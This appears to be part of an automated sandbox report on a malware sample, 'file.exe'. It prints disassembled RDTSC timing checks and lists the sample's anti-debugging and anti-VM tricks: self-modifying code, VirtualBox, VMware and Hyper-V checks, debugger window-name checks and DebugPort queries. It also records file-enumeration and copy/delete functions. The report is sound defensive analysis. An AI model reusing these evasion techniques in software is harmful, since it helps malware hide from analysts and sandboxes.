Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13994C9 second address: 1399518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F2A68BD69D6h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F2A68BD69E8h 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c pop eax 0x0000001d je 00007F2A68BD69D6h 0x00000023 push edi 0x00000024 pop edi 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F2A68BD69DBh 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399518 second address: 1399525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2A68BE4F46h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399525 second address: 139952A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139952A second address: 1399545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2A68BE4F46h 0x0000000a jmp 00007F2A68BE4F4Ah 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399545 second address: 1399549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1451984 second address: 145199F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BE4F57h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145199F second address: 14519B5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2A68BD69D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F2A68BD6A07h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14519B5 second address: 14519BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14519BB second address: 14519BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1451CAF second address: 1451CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2A68BE4F46h 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1451CBF second address: 1451CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145227B second address: 1452285 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2A68BE4F46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1451166 second address: 145116C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1459807 second address: 1459811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2A68BE4F46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1459811 second address: 1459826 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F2A68BD69D6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1459AFF second address: 1459B3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F50h 0x00000007 jmp 00007F2A68BE4F4Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007F2A68BE4F46h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F2A68BE4F4Eh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1467A71 second address: 1467A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BD69DEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C08 second address: 1469C19 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jnp 00007F2A68BE4F66h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C19 second address: 1469C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C1D second address: 1469C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C23 second address: 1469C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F2A68BD69DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147B129 second address: 147B13B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BE4F4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147AFD3 second address: 147AFDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F2A68BD69D6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1483897 second address: 14838B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14838B3 second address: 14838C4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2A68BD69DCh 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14838C4 second address: 14838D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 js 00007F2A68BE4F4Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14838D4 second address: 14838E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 je 00007F2A68BD69D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14838E1 second address: 14838ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2A68BE4F46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14838ED second address: 14838F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14838F6 second address: 14838FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14838FA second address: 1483908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F2A68BD69D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1483908 second address: 148391F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F53h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1485FAB second address: 1485FB8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2A68BD69D8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14889A1 second address: 14889AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14889AA second address: 14889AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149002D second address: 1490049 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1490049 second address: 1490055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2A68BD69D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1490055 second address: 149006D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2A68BE4F53h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149006D second address: 1490089 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jmp 00007F2A68BD69E3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493407 second address: 149340D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149340D second address: 1493411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493411 second address: 1493422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2A68BE4F46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14990E7 second address: 1499124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2A68BD69E8h 0x00000013 jmp 00007F2A68BD69E7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1499124 second address: 1499128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A69B0 second address: 14A69BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A69BA second address: 14A69C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A65B3 second address: 14A65B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A65B7 second address: 14A65BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B3D98 second address: 14B3DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BD69DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B3DAA second address: 14B3DB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B8738 second address: 14B879D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F2A68BD69D6h 0x0000000d jmp 00007F2A68BD69E0h 0x00000012 jmp 00007F2A68BD69E2h 0x00000017 popad 0x00000018 pop ecx 0x00000019 pushad 0x0000001a jnc 00007F2A68BD69EFh 0x00000020 jmp 00007F2A68BD69E1h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B879D second address: 14B87A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7A86 second address: 14B7A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BD69DEh 0x00000009 jp 00007F2A68BD69D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7A9E second address: 14B7AAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F4Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7BBE second address: 14B7BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BCA32 second address: 14BCA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F2A68BE4F48h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 push 00000004h 0x00000023 push 00000000h 0x00000025 push eax 0x00000026 call 00007F2A68BE4F48h 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc eax 0x00000039 push eax 0x0000003a ret 0x0000003b pop eax 0x0000003c ret 0x0000003d mov dx, cx 0x00000040 push 1386A7F8h 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push edi 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BCA8B second address: 14BCA8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BCCAF second address: 14BCCB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BCCB3 second address: 14BCCC7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F2A68BD69DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BCCC7 second address: 14BCCCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BCCCB second address: 14BCCD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F2A68BD69D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BE161 second address: 14BE166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C007D second address: 14C0086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0310 second address: 54C0320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BE4F4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0320 second address: 54C0358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F2A68BD69E6h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F2A68BD69DAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0358 second address: 54C035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C035C second address: 54C0362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0362 second address: 54C0368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C038E second address: 54C0394 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0394 second address: 54C03E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ah 0x00000005 pushfd 0x00000006 jmp 00007F2A68BE4F59h 0x0000000b jmp 00007F2A68BE4F4Bh 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F2A68BE4F56h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C03E0 second address: 54C03E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C03E6 second address: 54C042B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2A68BE4F56h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2A68BE4F57h 0x00000018 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12119D0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13D0566 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13FB62A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FBDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FBE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00FC4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FBED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FB16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FBF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00FC3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FBBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FBDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB1160 GetSystemInfo,ExitProcess,

0_2_00FB1160

Source: file.exe, file.exe, 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1291738753.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1291738753.0000000000E16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1291738753.0000000000DE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13556
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13559
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13571
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13576
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13610

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

